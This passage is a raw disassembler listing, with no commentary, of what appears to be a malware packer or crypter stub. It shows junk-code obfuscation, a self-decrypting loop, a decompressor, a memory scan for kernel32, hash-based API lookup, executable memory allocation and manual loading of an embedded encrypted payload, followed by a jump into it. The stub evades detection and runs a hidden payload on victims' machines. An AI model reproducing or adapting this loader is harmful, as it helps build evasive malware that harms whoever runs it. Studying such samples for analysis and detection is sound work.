4 jmp loc_46125C ; --------------------------------------------------------------------------- db 59h dd 15CCFF1Eh ; --------------------------------------------------------------------------- loc_46125C: ; CODE XREF: .data:00461252j dec eax jnz loc_46127E mov dx, 2764h jmp loc_461294 ; --------------------------------------------------------------------------- dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h db 32h, 83h ; --------------------------------------------------------------------------- loc_46127E: ; CODE XREF: .data:0046125Dj push 10ADA17Eh pop edx jmp loc_46121C ; --------------------------------------------------------------------------- db 0D7h, 0C4h, 0ADh dd 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- loc_461294: ; CODE XREF: .data:00461267j push 4D9D36DDh pop esi call sub_4612A9 stosb wait cmp [ecx], dl jbe short near ptr loc_461317+5 in al, 4Dh add dl, [ebx] ; =============== S U B R O U T I N E ======================================= sub_4612A9 proc near ; CODE XREF: .data:0046129Ap pop edi jmp loc_4612B9 ; --------------------------------------------------------------------------- pop edx mov ebp, [eax-7Fh] db 26h, 67h adc al, 0BDh mov dl, 3 loc_4612B9: ; CODE XREF: sub_4612A9+1j add edi, 6D1h jmp loc_4612D7 ; --------------------------------------------------------------------------- dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h ; --------------------------------------------------------------------------- dec edi fsubr st(5), st loc_4612D7: ; CODE XREF: sub_4612A9+16j mov ebx, 0 call sub_4612E7 xchg al, [edi+74h] popf adc ah, bl sub_4612A9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4612E7 proc near ; CODE XREF: sub_4612A9+33p call sub_4612FF aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sub_4612E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4612FF proc near ; CODE XREF: sub_4612E7p mov ch, 9Ah pop esi pop edx loc_461303: ; CODE XREF: sub_4612FF+66j mov eax, [edi+ebx] mov edx, 3C53CBCAh xor eax, 32B3741Ch sub esi, 979FA04h loc_461317: ; CODE XREF: .data:004612A3j xor eax, 2D712825h push edi sub esi, 115EBB7Ah pop ecx xor eax, 45078DFAh push edx mov dx, ax pop esi push eax mov ecx, esi pop dword ptr [edi+ebx] sub ebx, 83428D0h add ebx, 83428CCh mov dx, 41E8h cmp ebx, 0FFFFFA04h jnz loc_46135F jmp loc_461378 ; --------------------------------------------------------------------------- align 4 cmp [esi-21h], edi sub al, 0F5h mov bh, bl loc_46135F: ; CODE XREF: sub_4612FF+4Dj push esi mov cx, 0F473h pop esi jmp loc_461303 ; --------------------------------------------------------------------------- dw 0CF2Eh dd 0EB3A655Ch, 0C706E148h, 63921DF4h ; --------------------------------------------------------------------------- loc_461378: ; CODE XREF: sub_4612FF+53j adc edx, 66782C35h call sub_461392 cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd sub_4612FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_461392 proc near ; CODE XREF: sub_4612FF+7Fp push ecx pop ebx pop ecx movzx ebx, bx add ecx, 5ECh mov eax, 391BBF64h add eax, 0C6E441E6h call near ptr loc_4613B2+1 leave into out dx, eax cld loc_4613B2: ; CODE XREF: sub_461392+17p test [esi-75h], esp sub_461392 endp ; sp-analysis failed rcr byte ptr [ebx-75h], 1 ; CODE XREF: .data:00461441j cmp [edi], ecx mov edi, 4BF781D0h mov al, ah dec edi ja loc_4613D0 push 273FF9FBh push eax pop ebx pop edx loc_4613D0: ; CODE XREF: .data:004613C2j add edi, 61231228h jmp loc_4613E0 ; --------------------------------------------------------------------------- test eax, 655CCF2Eh loc_4613E0: ; CODE XREF: .data:004613D6j add edi, 3E671B41h push 6B443948h pop esi push edi and bh, 8Dh pop dword ptr [ecx] adc ebx, 7FEF27CBh sub ecx, 2F5986C1h sbb esi, 6E46FAF2h add ecx, 2F5986BDh movsx ebx, cx dec eax jnz loc_46143C call near ptr loc_461421+5 xor [esi], edx xchg eax, edi test [ebp-5Eh], ch xor esi, eax loc_461421: ; CODE XREF: .data:00461414p imul ebp, esi, 0F251C8Fh mov es, word ptr [edx] ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- mov esi, edx pop esi jmp loc_46144B ; --------------------------------------------------------------------------- and cl, bl sahf jg short loc_461485 xchg eax, ebp stosb wait loc_46143C: ; CODE XREF: .data:0046140Ej mov esi, 7FA79913h jmp near ptr loc_4613B5+2 ; --------------------------------------------------------------------------- dw 4E49h db 6Fh, 7Ch, 5 ; --------------------------------------------------------------------------- loc_46144B: ; CODE XREF: .data:0046142Fj call $+5 pop ebp pop ebx mov [ebp+5Bh], ebx pop ebx mov [ebp+5Fh], ebx pop eax mov [ebp+40Dh], eax pop eax cmp byte ptr [ebp+5Ah], 1 jnz short loc_4614C0 mov [ebp+425h], eax pusha lea eax, [ebp+33h] push eax xor eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_461765 jmp short loc_46149F ; --------------------------------------------------------------------------- db 8Bh db 64h ; --------------------------------------------------------------------------- loc_461485: ; CODE XREF: .data:00461437j and al, 8 pop dword ptr fs:0 add esp, 4 popa lea eax, [ebp+63h] push eax call dword ptr [ebp+5Fh] call loc_46177B jmp short loc_4614A8 ; --------------------------------------------------------------------------- loc_46149F: ; CODE XREF: .data:00461481j pop dword ptr fs:0 add esp, 24h loc_4614A8: ; CODE XREF: .data:0046149Dj jmp short loc_4614C5 ; --------------------------------------------------------------------------- dw 4800h dd 0A1004610h, 6B7C80B6h, 656E7265h, 2E32336Ch, 6C6C64h ; --------------------------------------------------------------------------- loc_4614C0: ; CODE XREF: .data:00461465j call sub_461761 loc_4614C5: ; CODE XREF: .data:loc_4614A8j cld lea esi, [ebp+8Ch] lodsd or eax, eax jz short loc_4614EC mov edi, eax mov ecx, 0Ch rep movsb jmp short loc_4614EC ; --------------------------------------------------------------------------- dd offset start dd 32C44328h, 80A21119h, 0C6FCF2BBh ; --------------------------------------------------------------------------- loc_4614EC: ; CODE XREF: .data:004614CFj ; .data:004614DAj mov [ebp+429h], esp push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+1CCh], eax mov ebx, [ebp+400h] add ebx, [ebp+40Dh] push eax push ebx call sub_461624 push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+431h], eax mov [ebp+1D0h], eax mov eax, fs:0 mov [ebp+42Dh], eax mov edx, [ebp+5Bh] mov eax, [ebp+1D0h] mov [edx], eax mov eax, [ebp+408h] mov [edx+4], eax lea eax, [ebp+39Fh] mov eax, [eax+55h] mov [edx+8], eax mov eax, [ebp+3ECh] mov [edx+10h], eax mov eax, [ebp+3E8h] mov [edx+14h], eax mov edx, [ebp+1CCh] mov ebx, 1F8h loc_461589: ; CODE XREF: .data:004615ADj mov edi, [edx+ebx+0Ch] or edi, edi jz short loc_4615AF mov ecx, [edx+ebx+10h] or ecx, ecx jz short loc_4615AA add edi, [ebp+1D0h] mov esi, [edx+ebx+14h] add esi, edx sar ecx, 2 rep movsd loc_4615AA: ; CODE XREF: .data:00461597j add ebx, 28h jmp short loc_461589 ; --------------------------------------------------------------------------- loc_4615AF: ; CODE XREF: .data:0046158Fj mov eax, [ebp+1CCh] push eax mov edx, [ebp+1D0h] push edx mov ebx, [eax] add ebx, edx mov eax, [ebp+3E4h] mov [ebx], eax mov eax, [ebp+3E8h] mov [ebx+4], eax mov eax, [ebp+3ECh] mov [ebx+8], eax pop edi pop esi mov eax, [esi+4] add eax, edi mov [ebp+1C7h], eax mov edx, [ebp+5Bh] mov eax, [ebp+1C7h] mov [edx+0Ch], eax lea ebx, [ebp+40Dh] push ebx push 0 push 0 push 1 push edi mov ebx, [esi+8] add ebx, edi push ebx push 8000h push 0 push esi call dword ptr [ebp+3F4h] push 3BE000h retn ; --------------------------------------------------------------------------- dd 360000h, 390000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_461624 proc near ; CODE XREF: .data:0046151Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha push ebp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_461632: ; CODE XREF: sub_461624:loc_461641j mov al, [esi] inc esi mov [edi], al inc edi loc_461638: ; CODE XREF: sub_461624+72j ; sub_461624+B7j ... add dl, dl jnz short loc_461641 mov dl, [esi] inc esi adc dl, dl loc_461641: ; CODE XREF: sub_461624+16j jnb short loc_461632 add dl, dl jnz short loc_46164C mov dl, [esi] inc esi adc dl, dl loc_46164C: ; CODE XREF: sub_461624+21j jnb short loc_461698 xor eax, eax add dl, dl jnz short loc_461659 mov dl, [esi] inc esi adc dl, dl loc_461659: ; CODE XREF: sub_461624+2Ej jnb loc_461735 add dl, dl jnz short loc_461668 mov dl, [esi] inc esi adc dl, dl loc_461668: ; CODE XREF: sub_461624+3Dj adc eax, eax add dl, dl jnz short loc_461673 mov dl, [esi] inc esi adc dl, dl loc_461673: ; CODE XREF: sub_461624+48j adc eax, eax add dl, dl jnz short loc_46167E mov dl, [esi] inc esi adc dl, dl loc_46167E: ; CODE XREF: sub_461624+53j adc eax, eax add dl, dl jnz short loc_461689 mov dl, [esi] inc esi adc dl, dl loc_461689: ; CODE XREF: sub_461624+5Ej adc eax, eax jz short loc_461693 push edi sub edi, eax mov al, [edi] pop edi loc_461693: ; CODE XREF: sub_461624+67j mov [edi], al inc edi jmp short loc_461638 ; --------------------------------------------------------------------------- loc_461698: ; CODE XREF: sub_461624:loc_46164Cj mov eax, 1 loc_46169D: ; CODE XREF: sub_461624:loc_4616B1j add dl, dl jnz short loc_4616A6 mov dl, [esi] inc esi adc dl, dl loc_4616A6: ; CODE XREF: sub_461624+7Bj adc eax, eax add dl, dl jnz short loc_4616B1 mov dl, [esi] inc esi adc dl, dl loc_4616B1: ; CODE XREF: sub_461624+86j jb short loc_46169D sub eax, 2 jnz short loc_4616E0 mov ecx, 1 loc_4616BD: ; CODE XREF: sub_461624:loc_4616D1j add dl, dl jnz short loc_4616C6 mov dl, [esi] inc esi adc dl, dl loc_4616C6: ; CODE XREF: sub_461624+9Bj adc ecx, ecx add dl, dl jnz short loc_4616D1 mov dl, [esi] inc esi adc dl, dl loc_4616D1: ; CODE XREF: sub_461624+A6j jb short loc_4616BD push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_461638 ; --------------------------------------------------------------------------- loc_4616E0: ; CODE XREF: sub_461624+92j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4616EE: ; CODE XREF: sub_461624:loc_461702j add dl, dl jnz short loc_4616F7 mov dl, [esi] inc esi adc dl, dl loc_4616F7: ; CODE XREF: sub_461624+CCj adc ecx, ecx add dl, dl jnz short loc_461702 mov dl, [esi] inc esi adc dl, dl loc_461702: ; CODE XREF: sub_461624+D7j jb short loc_4616EE cmp eax, 7D00h jnb short loc_461725 cmp eax, 500h jb short loc_461720 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_461638 ; --------------------------------------------------------------------------- loc_461720: ; CODE XREF: sub_461624+ECj cmp eax, 7Fh ja short loc_461728 loc_461725: ; CODE XREF: sub_461624+E5j add ecx, 2 loc_461728: ; CODE XREF: sub_461624+FFj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_461638 ; --------------------------------------------------------------------------- loc_461735: ; CODE XREF: sub_461624:loc_461659j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_461751 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_461638 ; --------------------------------------------------------------------------- loc_461751: ; CODE XREF: sub_461624+119j pop ebp sub edi, [ebp+arg_4] mov [ebp+var_4], edi popa pop ebp retn 8 sub_461624 endp ; --------------------------------------------------------------------------- db 1Ch, 26h, 80h db 7Ch ; =============== S U B R O U T I N E ======================================= sub_461761 proc near ; CODE XREF: .data:loc_4614C0p arg_20 = dword ptr 24h mov eax, [esp+arg_20] sub_461761 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_461765 proc near ; CODE XREF: .data:0046147Cp and eax, 0FFFF0000h add eax, 10000h loc_46176F: ; CODE XREF: sub_461765+14j sub eax, 10000h cmp word ptr [eax], 5A4Dh jnz short loc_46176F loc_46177B: ; CODE XREF: .data:00461498p pusha mov [ebp+3F8h], eax mov edx, eax mov ebx, eax add eax, [eax+3Ch] add ebx, [eax+78h] mov [ebp+30Dh], ebx lea ebx, [ebp+3CCh] lea edi, [ebp+3E4h] loc_46179E: ; CODE XREF: sub_461765+4Dj mov esi, [ebx] mov [ebp+37Ch], esi call sub_4617B6 stosd add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_46179E popa retn sub_461765 endp ; =============== S U B R O U T I N E ======================================= sub_4617B6 proc near ; CODE XREF: sub_461765+41p var_4 = dword ptr -4 pusha mov ebx, [ebp+30Dh] mov ecx, [ebx+20h] add ecx, edx loc_4617C2: ; CODE XREF: sub_4617B6+21j mov esi, [ecx] add esi, edx call sub_4617FA mov edi, 49CD75CEh cmp eax, edi jz short loc_4617D9 add ecx, 4 jmp short loc_4617C2 ; --------------------------------------------------------------------------- loc_4617D9: ; CODE XREF: sub_4617B6+1Cj sub ecx, [ebx+20h] sub ecx, edx shr ecx, 1 add ecx, [ebx+24h] add ecx, edx movzx ecx, word ptr [ecx] shl ecx, 2 add ecx, [ebx+1Ch] add ecx, edx mov ecx, [ecx] add ecx, edx mov [esp+20h+var_4], ecx popa retn sub_4617B6 endp ; =============== S U B R O U T I N E ======================================= sub_4617FA proc near ; CODE XREF: sub_4617B6+10p push edx mov edx, 9C3B248Eh loc_461800: ; CODE XREF: sub_4617FA+1Dj lodsb or al, al jz short loc_461819 xor dl, al mov al, 8 loc_461809: ; CODE XREF: sub_4617FA+1Bj shr edx, 1 jnb short loc_461813 xor edx, 0C1A7F39Ah loc_461813: ; CODE XREF: sub_4617FA+11j dec al jnz short loc_461809 jmp short loc_461800 ; --------------------------------------------------------------------------- loc_461819: ; CODE XREF: sub_4617FA+9j xchg eax, edx pop edx retn sub_4617FA endp ; --------------------------------------------------------------------------- dd 0B72551A7h, 0A7493BF0h, 90190257h, 74EE3213h, 49CD75CEh dd 0 dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 7C809A51h, 7C809AE4h dd 7C800000h, 14E00h, 61B1Ch, 158F2h, 30000h, 2 dup(40000000h) dd 3 dup(0) dd 1D0E800h, 0 dd 12FFA400h, 12FFE000h, 39000000h, 100000h, 1A40000h dd 0D2C900h, 1C00000h, 1C0000h, 145300h, 1E00000h, 1100000h dd 5EDE00h, 4Dh dup(0) dd 2000h, 8, 6 dup(0) dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 61A10h, 619FCh, 3 dup(0) dd 61AB4h, 61AD9h, 3 dup(0) dd 61ABFh, 61AE1h, 3 dup(0) db 0CCh db 1Ah, 6, 0 ; --------------------------------------------------------------------------- jmp loc_4620BB ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h dd 74706563h, 6E6F69h, 0 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h ; --------------------------------------------------------------------------- push es jz short loc_4620E6 loc_4620BB: ; CODE XREF: .data:00461A9Cj rol dword ptr [eax], cl mov ebp, [ecx] jmp short loc_4620C6 ; --------------------------------------------------------------------------- align 2 dw 0B844h db 89h, 0 ; --------------------------------------------------------------------------- loc_4620C6: ; CODE XREF: .data:004620BFj dec edi dec ebp mov ecx, 208F5CF1h test [ebx], eax fcmovne st, st(2) pop ds mov dh, 59h retn ; --------------------------------------------------------------------------- align 2 dw 64B4h dd 0B1892E39h, 0B2A5032Dh, 0F6B80811h ; --------------------------------------------------------------------------- adc al, 49h loc_4620E6: ; CODE XREF: .data:004620B9j add dl, dh dec eax cmp al, 33h inc eax add ebp, ebx xchg eax, esp add [edx-6Bh], bh pop es mov ss, word ptr [edx-73h] pop esp add dword ptr [eax], 0EA9CEC28h push 7F196626h dec ebx add [edi+edi*8+32h], ah xor ecx, [ecx+30DA22h] ; --------------------------------------------------------------------------- db 8Fh, 28h, 68h dd 3D800301h, 65700041h, 230A7E16h, 5D000713h, 6F8861EFh dd 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h dd 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh, 0F482C080h dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h dd 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h dd 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah, 0E068815Eh dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h dd 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h dd 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch, 7C0010FAh dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h dd 9149200h, 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h dd 822CF4h, 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h dd 2C0239BAh, 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh dd 359AD285h, 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h dd 1D5C890Dh, 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h dd 84421500h, 7448C51h, 591913CAh, 0A8870EAFh, 78962640h dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h dd 297B0099h, 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h dd 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h dd 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h, 24C3838Eh dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh dd 57EA2h, 709985E6h, 